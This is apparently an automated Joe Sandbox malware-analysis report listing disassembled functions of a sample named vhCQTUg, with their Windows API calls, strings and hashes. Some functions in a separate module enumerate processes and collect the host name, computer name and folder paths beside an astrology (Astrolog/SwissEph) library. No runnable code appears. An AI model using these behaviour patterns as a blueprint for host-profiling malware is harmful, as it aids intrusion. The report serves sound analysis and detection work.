%s%c%s, xrefs: 6C82480F, 6C82491A, 6C824990, 6C8249DB, 6C824A22, 6C824A59
r%s, xrefs: 6C8247F4

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__wgetenv$FileModuleName
String ID: %s%c%s$%s%s$%s.as$710$ASTR$ASTROLOG$C:\Astrolog$File '%s' not found.$r%s
API String ID: 2614078948-576927601
Opcode ID: dbdf50944fa2499b850a4957ccacbf521d100b15f77b7367c5c881057ec51b99
Instruction ID: 66c3acd1ee9010906f49f12744061d15d1466d20bc55d7c58680746f314c0247
Opcode Fuzzy Hash: dbdf50944fa2499b850a4957ccacbf521d100b15f77b7367c5c881057ec51b99
Instruction Fuzzy Hash: 829186B58012286ADB31D794CE48FDB777CDB94314F0409F5E659A3A41EB78DAC88FA0

Function 6C847CC1 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 536COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6C847DF6
_free.LIBCMT ref: 6C847E0B
_sprintf.LIBCMT ref: 6C847EED
_strncmp.LIBCMT ref: 6C847F22
_sprintf.LIBCMT ref: 6C8482B3
_sprintf.LIBCMT ref: 6C8482E2
_sprintf.LIBCMT ref: 6C84834D

Strings

jd %f > upper limit %f;, xrefs: 6C84833E
jd %f < lower limit %f;, xrefs: 6C84831D
.;C:\Astrolog\, xrefs: 6C847F50
asteroid eph. file (%s): , xrefs: 6C8482C3
plan. COB No. %d (%s): , xrefs: 6C8482A6
asteroid No. %d (%s): , xrefs: 6C848271
planets eph. file (%s): , xrefs: 6C8482CF
s.%s, xrefs: 6C847EE7
se1, xrefs: 6C847EE2
99., xrefs: 6C84828B
plan. moon No. %d (%s): , xrefs: 6C8482AD
moon eph. file (%s): , xrefs: 6C8482D6

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_free$_strncmp
String ID: .;C:\Astrolog\$99.$asteroid No. %d (%s): $asteroid eph. file (%s): $jd %f < lower limit %f;$jd %f > upper limit %f;$moon eph. file (%s): $plan. COB No. %d (%s): $plan. moon No. %d (%s): $planets eph. file (%s): $s.%s$se1
API String ID: 1187704711-3796515
Opcode ID: a275e7714ae63c9b4ea405c2d9de5b860e796efb2b4e9e76c14a5d4a5d76b7f6
Instruction ID: 1b51c033fb1ab97e499293badc547110ab5b20f31dc0fa4f10c0199da0943bf9
Opcode Fuzzy Hash: a275e7714ae63c9b4ea405c2d9de5b860e796efb2b4e9e76c14a5d4a5d76b7f6
Instruction Fuzzy Hash: 6E12C471904A1DDBDB318F28DA547DA77F4FF45308F108EEAD89997A41DB319A88CB80

Function 6C80338C Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 129
memoryfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6C803393
CreateMutexA.KERNEL32(00000000,00000000,MyProgramMutex,00000020), ref: 6C8033A1
GetLastError.KERNEL32 ref: 6C8033B1
__CxxThrowException@8.LIBCMT ref: 6C8033D1
CreateThread.KERNEL32(00000000,00000000,Function_0000334B,00000000,00000000,6C92A980), ref: 6C803433
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 6C803451
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C8F33F8), ref: 6C80345C
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,6C8F33F8), ref: 6C803477
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C8F33F8), ref: 6C803484
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C8F33F8), ref: 6C803494
_memmove.LIBCMT ref: 6C8034AC
HeapCreate.KERNEL32(00040000,-000000C9,00000000), ref: 6C8034C5

Part of subcall function 6C882E33: _doexit.LIBCMT ref: 6C882E3F

RtlAllocateHeap.NTDLL(00000000,00000008,-000000C9), ref: 6C8034CF
_memmove.LIBCMT ref: 6C8034DC
GetDC.USER32(00000000), ref: 6C8034E5
EnumObjects.GDI32(00000000,00000002,00000000,00000000), ref: 6C8034F0

Strings

MyProgramMutex, xrefs: 6C803398
_w8g, xrefs: 6C8033D8
1wps, xrefs: 6C8033DF

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Create$File$CloseHandleHeap_memmove$AllocateEnumErrorException@8H_prolog3_catch_LastMutexObjectsReadSizeThreadThrow_doexit
String ID: 1wps$MyProgramMutex$_w8g
API String ID: 3857313433-2654228369
Opcode ID: 164801292a9be7850a2a220c6b936db69985fa071b370524d01fdc57fb9c674d
Instruction ID: 28b6f3ce27aa563e37be6870a32afce3ad11fd6bbb664ca9721ccd640c46c6fc
Opcode Fuzzy Hash: 164801292a9be7850a2a220c6b936db69985fa071b370524d01fdc57fb9c674d
Instruction Fuzzy Hash: E041AF71A01208BBDB205BB59E88EEF7EBDEB4A318F100939F941E7640DB359D05D6A0

Function 1000C1C0 Relevance: 33.1, APIs: 9, Strings: 9, Instructions: 1628networklibrarystringCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 1000C311
gethostname.WS2_32(?,00000100), ref: 1000C339
gethostbyname.WS2_32(?), ref: 1000C34F

Part of subcall function 1000BB20: gethostname.WS2_32(?,00000100), ref: 1000BB53
Part of subcall function 1000BB20: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 1000BB6F
Part of subcall function 1000BB20: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 1000BBB4

LoadLibraryW.KERNEL32(10077444,10077566,00000000,10077568,10077568,10077566,00000000,00000000,00000000,-00000002,00000000,00000000), ref: 1000C83C
FreeLibrary.KERNEL32(00000000), ref: 1000C885

Part of subcall function 1000C1C0: GetTickCount.KERNEL32 ref: 1000BD7C

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000007,00000000,00000000,10077510,00000006), ref: 1000CED4
lstrcpyW.KERNEL32(1008CE80,00000000), ref: 1000CF28
wsprintfW.USER32 ref: 1000CF3F
GetFileAttributesW.KERNEL32(?), ref: 1000CFE2

Part of subcall function 1001BC50: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000001,?), ref: 1001BC87

Part of subcall function 1001CBA0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
Part of subcall function 1001CBA0: lstrcpyW.KERNEL32(?,10077510,?,?,?,?,?,?), ref: 1001CC0B
Part of subcall function 1001CBA0: wsprintfW.USER32 ref: 1001CC37

Strings

x64, xrefs: 1000C892, 1000C8B3, 1000C8B4
Remark, xrefs: 1000C53E
x86, xrefs: 1000C897
l, xrefs: 1000CC2E
Time, xrefs: 1000D49A
laoshiren, xrefs: 1000CF45, 1000CF79, 1000CF7A
SID, xrefs: 1000D63E
,, xrefs: 1000DAEC
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 1000CBA8

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: ByteCharMultiWide$Librarygethostnamelstrcpywsprintf$AttributesComputerCountFileFolderFreeLoadNamePathSpecialStartupTickgethostbyname
String ID: ,$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Remark$SID$Time$l$laoshiren$x64$x86
API String ID: 4242217452-3332917398
Opcode ID: 55ff83a61d9db7206ae508621e76a6cffcc3e39af66de2d6fb2b3ad838857976
Instruction ID: 9d0cd7843b54b44ededa8168ed05449c303563adff5c25b9c2a1c632e16138b0
Opcode Fuzzy Hash: 55ff83a61d9db7206ae508621e76a6cffcc3e39af66de2d6fb2b3ad838857976
Instruction Fuzzy Hash: 37E2D470D00A589AEB64CB24CC85BEEB772EF45346F1082D9E049A7296DB756FC4CF60

Function 6C80B1DE Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C80B1F5
_sprintf.LIBCMT ref: 6C80B218

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

__wgetenv.LIBCMT ref: 6C80B24B
_sprintf.LIBCMT ref: 6C80B270
__wgetenv.LIBCMT ref: 6C80B27D
_sprintf.LIBCMT ref: 6C80B2A2
__wgetenv.LIBCMT ref: 6C80B2AB
_sprintf.LIBCMT ref: 6C80B2D0
_sprintf.LIBCMT ref: 6C80B2F2

Strings

%s%s, xrefs: 6C80B216, 6C80B2DE
C:\Astrolog, xrefs: 6C80B2D8
ASTROLOG, xrefs: 6C80B278
ASTR, xrefs: 6C80B20D, 6C80B212, 6C80B2AA
7.10, xrefs: 6C80B208

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__wgetenv$__output_l
String ID: %s%s$7.10$ASTR$ASTROLOG$C:\Astrolog
API String ID: 2520948663-3225433610
Opcode ID: da4091a18ecbcfaf71c760de9f3a00403501308ef65f517f8567a040dfd218fa
Instruction ID: 6d583b25e14351b3e1117983d9ff414d8dbc0c4bb261bafea0862254f4daf0a8
Opcode Fuzzy Hash: da4091a18ecbcfaf71c760de9f3a00403501308ef65f517f8567a040dfd218fa
Instruction Fuzzy Hash: 0331C671A015889AEB3097A9DE58FFE37AC9F4230CF240CB59851DBF51EF249588C760

Function 1000DBD0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 202
stringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 1000DBE7
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 1000DC07
wsprintfW.USER32 ref: 1000DC8F
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 1000DCC9
GetLastError.KERNEL32 ref: 1000DCD1
CloseHandle.KERNEL32(00000000), ref: 1000DCDF
GetComputerNameW.KERNEL32(?,00000200), ref: 1000DD26
lstrcpyW.KERNEL32(?,10077510), ref: 1000DD3C
wsprintfW.USER32 ref: 1000DD68

Strings

tasktime, xrefs: 1000DE0C
Time, xrefs: 1000DC21, 1000DC9E
laoshiren, xrefs: 1000DDFA

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: Initializewsprintf$CloseComputerCreateErrorHandleLastMutexNameSecuritylstrcpy
String ID: Time$laoshiren$tasktime
API String ID: 1213109023-3538093595
Opcode ID: 18c389d78b71260914e67dd970c387743a4d043c92a2ccdab54cdcf64fc39b9a
Instruction ID: fdbe4bd0be62d1fc7a4c7fa3e0aaac4247286d7f8c664be7a572e76097edb7d8
Opcode Fuzzy Hash: 18c389d78b71260914e67dd970c387743a4d043c92a2ccdab54cdcf64fc39b9a
Instruction Fuzzy Hash: 7461BA75A00219ABFB24EB64CD85F9E73ADEF40340F110596F709E6182DF74AA84CBA5

Function 1000B4B0 Relevance: 18.4, APIs: 12, Instructions: 414
stringcomprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcsstr.LIBVCRUNTIME ref: 1000B51C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1000B550
Process32FirstW.KERNEL32(00000000,00000000), ref: 1000B56F
lstrcmpiW.KERNEL32(00000024,?), ref: 1000B580
Process32NextW.KERNEL32(00000000,00000000), ref: 1000B58C
lstrcmpiW.KERNEL32(00000024,?), ref: 1000B59D
Process32NextW.KERNEL32(00000000,00000000), ref: 1000B5A9
CloseHandle.KERNEL32(00000000), ref: 1000B5BC
_wcsstr.LIBVCRUNTIME ref: 1000B612
_wcsstr.LIBVCRUNTIME ref: 1000B62F
CoCreateInstance.COMBASE(100677D8,00000000,00000001,100677E8,?), ref: 1000B6D3
CoSetProxyBlanket.COMBASE(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 1000B73A

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: Process32_wcsstr$CreateNextlstrcmpi$BlanketCloseFirstHandleInstanceProxySnapshotToolhelp32
String ID:
API String ID: 653814811-0
Opcode ID: 74624c8c618551669e3d91651b5024e9fb6ba0012caf886f3360ed4b7693b94d
Instruction ID: b2bcd0be8440f84f9ca42e084e2990dc196e099689ef7adbacb0db17711209f8
Opcode Fuzzy Hash: 74624c8c618551669e3d91651b5024e9fb6ba0012caf886f3360ed4b7693b94d
Instruction Fuzzy Hash: 6EE1AE70E00709ABEB14CFA4CC49FAEB7B5FF45784F104128F605AB295DBB5A941CB54

Function 1001EE00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 230
registrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(100782C8,?,?,?,?,?,10081068,00000001,Remark), ref: 1001EE9F
RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,?,?,10081068,00000001,Remark), ref: 1001EF1C
FreeLibrary.KERNEL32(?,?,?,?,?,?,10081068,00000001,Remark), ref: 1001F147

Strings

Remark, xrefs: 1001EE2A

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: Library$FreeLoadOpen
String ID: Remark
API String ID: 3518234908-3865500943
Opcode ID: f0ac16730cc1bbeac4a56bd6364e2f2ca9246a11b390f576fc7b0e8c0857bdd6
Instruction ID: 4280bcdcbe3d8e76b3a2d985dd6de93ce3b6678e1cecf0cba3b117d83fd6403a
Opcode Fuzzy Hash: f0ac16730cc1bbeac4a56bd6364e2f2ca9246a11b390f576fc7b0e8c0857bdd6
Instruction Fuzzy Hash: 5F913AB1D04228ABEB21DF64CC44BDEB7B9FB44714F0041EAEA4CA7251DB719E858F58

Function 6C80BCA4 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C80BDD5
_sprintf.LIBCMT ref: 6C80BDEE

Strings

Kaus Australis, xrefs: 6C80BDC0
Pleione, xrefs: 6C80BD90
,ze-1Ret, xrefs: 6C80BD84
@, xrefs: 6C80BD48
Alnilam, xrefs: 6C80BD9C
Rigil Kentaurus, xrefs: 6C80BDB4
,beCru, xrefs: 6C80BDA8
,M31, xrefs: 6C80BDCC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: ,M31$,beCru$,ze-1Ret$@$Alnilam$Kaus Australis$Pleione$Rigil Kentaurus
API String ID: 1467051239-1042911856
Opcode ID: ed709c55799f960ee0c5e34da8b08edf2c9d98d357ee5576657a361f418d9ddc
Instruction ID: 80df2fdf7d99ddd1e8fef7346068febac55ba659b80c680b88955995fe46f8e3
Opcode Fuzzy Hash: ed709c55799f960ee0c5e34da8b08edf2c9d98d357ee5576657a361f418d9ddc
Instruction Fuzzy Hash: 73811372B0850EDACF309F24DE865E8B774FB0B30AF914DEAD4D952A51DB358698CB00

Function 1001F9A0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 291
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1001CBA0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
Part of subcall function 1001CBA0: lstrcpyW.KERNEL32(?,10077510,?,?,?,?,?,?), ref: 1001CC0B
Part of subcall function 1001CBA0: wsprintfW.USER32 ref: 1001CC37

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000,10081068,00000000,00000000), ref: 1001FAEE
wsprintfA.USER32 ref: 1001FB24
__fread_nolock.LIBCMT ref: 1001FBBE
CreateThread.KERNEL32(00000000,00000000,1001F2E0,00000000,00000000,00000000), ref: 1001FCF4
CloseHandle.KERNEL32(00000000), ref: 1001FCFB
Sleep.KERNEL32(000001F4), ref: 1001FD79

Strings

ARPD, xrefs: 1001F9CD

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: wsprintf$CloseComputerCreateFolderHandleNamePathSleepSpecialThread__fread_nolocklstrcpy
String ID: ARPD
API String ID: 1341197143-2799616583
Opcode ID: 1338866b2c3a02d0ec336459f934162f21c62a7b88ae211b20dd733c10737ede
Instruction ID: c6e7b88f8f3cbc9786cc4e93138ed0c2f04f0de870f558174a7f8b61b1f02c7c
Opcode Fuzzy Hash: 1338866b2c3a02d0ec336459f934162f21c62a7b88ae211b20dd733c10737ede
Instruction Fuzzy Hash: 4DB13971D00A589BDB25CB24CC55BFEB771EF55305F1082D8E908AB292EB74ABC58F90

Function 6C824AFA Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fgetc.LIBCMT ref: 6C824B43
_sprintf.LIBCMT ref: 6C824B6F

Part of subcall function 6C8247B5: _sprintf.LIBCMT ref: 6C8247FA
Part of subcall function 6C8247B5: _sprintf.LIBCMT ref: 6C824846
Part of subcall function 6C8247B5: GetModuleFileNameA.KERNEL32(?,000000FF,?,?,?,00000000,00000000), ref: 6C824860
Part of subcall function 6C8247B5: _sprintf.LIBCMT ref: 6C8248A1
Part of subcall function 6C8247B5: _sprintf.LIBCMT ref: 6C8248D5
Part of subcall function 6C8247B5: _sprintf.LIBCMT ref: 6C82491C

_fgetc.LIBCMT ref: 6C824B90
_fgetc.LIBCMT ref: 6C824BC9

Strings

The command file '%s' is not in any valid format (character %d)., xrefs: 6C824B69
@, xrefs: 6C824B57
, xrefs: 6C824B98

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_fgetc$FileModuleName
String ID: $@$The command file '%s' is not in any valid format (character %d).
API String ID: 1310815430-447543786
Opcode ID: 245f18b9ea74988478b4c3375206631f9d18ecc862ade90e9faab1cbfd930315
Instruction ID: 1ff0dba2b66203978d042e1ddfea7e41bd85ba2a5804e54db0a5b8c1f9b87134
Opcode Fuzzy Hash: 245f18b9ea74988478b4c3375206631f9d18ecc862ade90e9faab1cbfd930315
Instruction Fuzzy Hash: 6521FBA1A061187AD731965D9E44FCE77A89FC221CF4009B9E604B3F40DB3C4ACA86E5

Function 6C8483BC Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C84858D
_sprintf.LIBCMT ref: 6C8485DE

Strings

error: file path and name must be shorter than %d., xrefs: 6C8485D3
SwissEph file '%s' not found in PATH '%s', xrefs: 6C848587
.;C:\Astrolog\, xrefs: 6C8483DE
\, xrefs: 6C8484A8

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
